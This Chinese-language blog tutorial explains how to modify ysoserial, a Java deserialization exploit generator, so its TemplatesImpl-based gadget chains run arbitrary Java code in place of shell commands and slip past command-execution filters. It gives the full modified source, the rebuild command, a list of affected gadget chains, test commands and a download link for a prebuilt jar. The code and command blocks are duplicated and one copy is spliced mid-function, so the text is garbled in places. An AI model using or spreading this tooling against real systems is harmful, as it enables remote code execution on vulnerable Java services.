修改ysoserial使其支持生成代码执行Payload

ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。

https://github.com/frohoff/ysoserial

一般该工具可生成执行任意命令的序列化对象,通过对工具代码进行简单修改,也可使其执行任意的Java代码,以此来绕过对命令执行的限制。

修改

作者在115行的注释写到: TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections(待做,可以做一些有趣的事情比如注入一个纯java的反弹或绑定shell去绕过较弱的保护)已经留出了进行代码执行的位置,实质上一般用的命令执行是调用的写死的Runtime调用,这里我们只需要稍微改下即可。

ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java这个文件中(105行):

​
    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class abstTranslet, Class transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();
​
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
​
        final byte[] classBytes = clazz.toBytecode();
​
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });
​
        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }
    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class abstTranslet, Class transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();
​
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
​
        final byte[] classBytes = clazz.toBytecode();
​
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });
​
        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

进行简单的修改:


  public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class abstTranslet, Class transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();
​
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd="";
      //如果以code:开头,认为是代码,否则认为是命令
        if(!command.startsWith("code:")){
        cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";}
            else{
            System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
            cmd = command.substring(5);
        }
​
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
​
        final byte[] classBytes = clazz.toBytecode();
​
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });  public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class abstTranslet, Class transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();
​
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd="";
      //如果以code:开头,认为是代码,否则认为是命令
        if(!command.startsWith("code:")){
        cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";}
            else{
            System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
            cmd = command.substring(5);
        }
​
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
​
        final byte[] classBytes = clazz.toBytecode();
​
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

mvn clean package -DskipTests进行重新打包

适用范围

由于不是所有的payload在构造时都调用了Gadgets.createTemplatesImpl,所以只有以下几种适用于以上修改。

ROME

CommonsBeanutils1

CommonsCollections2

CommonsCollections3

CommonsCollections4

Spring1

Spring2

Jdk7u21

MozillaRhino1

JBossInterceptors1

JavassistWeld1

JSON1

Hibernate1

其它部分Payload(如CommonsCollections1)可以通过手工改造进行执行任意代码。

试验


java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "code:new java.io.FileOutputStream(\"test\").write(112);" > 1.class
#Java Code Mode:new java.io.FileOutputStream("test").write(112);
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar LoadObject 1.class #LoadObject是照着格式写的一个反序列化payload文件的payload~
#查看当前目录可以发现多了一个test文件java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "code:new java.io.FileOutputStream(\"test\").write(112);" > 1.class
#Java Code Mode:new java.io.FileOutputStream("test").write(112);
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar LoadObject 1.class #LoadObject是照着格式写的一个反序列化payload文件的payload~
#查看当前目录可以发现多了一个test文件

下载

打包好的jar文件。

 链接:https://pan.baidu.com/s/12o5UFaln0qDUo0hPcIR1Eg 提取码:qdfc

你可能感兴趣的:(Java,安全)